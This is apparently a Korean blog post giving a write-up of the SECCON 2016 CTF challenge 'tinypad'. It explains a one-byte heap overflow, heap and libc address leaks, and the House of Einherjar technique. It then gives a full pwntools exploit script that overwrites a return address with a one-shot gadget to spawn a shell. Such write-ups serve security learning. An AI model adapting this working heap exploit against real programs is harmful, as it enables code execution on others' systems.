cdor1's lab
SECCON 2016 tinypad 본문
house of einherjer를 이용해서 푸는 문제이다.
edit 함수에서 1byte-overflow가 생겨 prev_inuse bit를 overwrite할 수 있다.
leak은
small bin을 할당해줘서 fd를 leak해내 heap addr를 알아낼 수 있고
unsorted bin이 되면 main_arena+88주소가 쓰이는 것을 이용해서 libc leak 또한 해낼 수 있다.
house of einherjer payload는 how2heap과 대조만으로 이해가 잘 안되서 write-up을 참고했다.
malloc(0x88)#1
malloc(0x100)#2
malloc(0x80)#3
을 해준 뒤
free(2)
를 해서 2번 chunk를 free상태로 만들고
1번을 overflow시켜 2번 chunk의 prev_inuse를 0으로 overwrite해
병합을 초래하도록 한다.
2번 chunk와 같은 size의 chunk를 할당하고
이를 다시 free해 병합되게 만든다.
그리고 그곳에 fake chunk를 만들어주고
libc에 존재하는 argv를 이용해 ret영역을 알아낸 후
bss에 존재하는 pointer를 이용해 ret->oneshot으로 만들어
get shell했다.
from pwn import *
#s = remote('localhost', 4000)
s = process('./tinypad')
def add(size, data):
print s.recvuntil('(CMD)>>> ')
s.sendline('a')
print s.recvuntil('(SIZE)>>> ')
s.sendline(str(size))
print s.recvuntil('(CONTENT)>>> ')
s.sendline(data)
def delete(idx):
print s.recvuntil('(CMD)>>> ')
s.sendline('d')
print s.recvuntil('(INDEX)>>> ')
s.sendline(str(idx))
def edit(idx, data):
print s.recvuntil('(CMD)>>> ')
s.sendline('e')
print s.recvuntil('(INDEX)>>> ')
s.sendline(str(idx))
print s.recvuntil('(CONTENT)>>> ')
s.sendline(data)
print s.recvuntil('(Y/n)>>> ')
s.sendline('y')
add(40, 'aaaa')
add(40, 'bbbb')
add(256, 'cccc')
delete(2)
delete(1)
print s.recvuntil('CONTENT: ')
heap = u64(s.recv(3).ljust(8, '\x00'))
log.info('heap : ' + hex(heap))
delete(3)
print s.recvuntil('CONTENT: ')
libc_leak = u64(s.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - 0x3be7b8
oneshot = libc_base + 0x46428
argv = libc_base + 0x3C4374
log.info('libc_leak : ' + hex(libc_leak))
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))
log.info('argv : ' + hex(argv))
add(0x88, 'aaaa')
add(0x100, 'bbbb') #2
add(0x80, 'cccc')
delete(2)
edit(1, 'a'*136)
add(0x80, 'dddd') #2
add(0x40, 'eeee')
delete(2)
delete(3)
delete(4)
payload = 'f'*128
payload += p64(0)
payload += p64(0x30)
payload += p64(0x602120)
payload += p64(0)
add(len(payload), payload)
add(64, 'gggg')
payload = 'h'*0x10
payload += p64(100)
payload += p64(argv)
payload += p64(0x88)
payload += p64(0x602148)
payload += p64(0)
payload += p64(0x88)
add(len(payload), payload)
print s.recvuntil('CONTENT: ')
stack = u64(s.recv(6).ljust(8,'\x00'))
ret = stack - 240
log.info('stack : ' + hex(stack))
log.info('ret : ' + hex(ret))
edit(2, p64(ret))
edit(1, p64(oneshot))
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
Format String Bug TIP (0) | 2017.03.17 |
---|---|
CSAW 2016 tutorial (0) | 2017.03.14 |
pwnable.tw deathnote (0) | 2017.03.07 |
pwnable.tw orc (0) | 2017.03.07 |
ASIS CTF 2016 feap (0) | 2017.03.06 |
Comments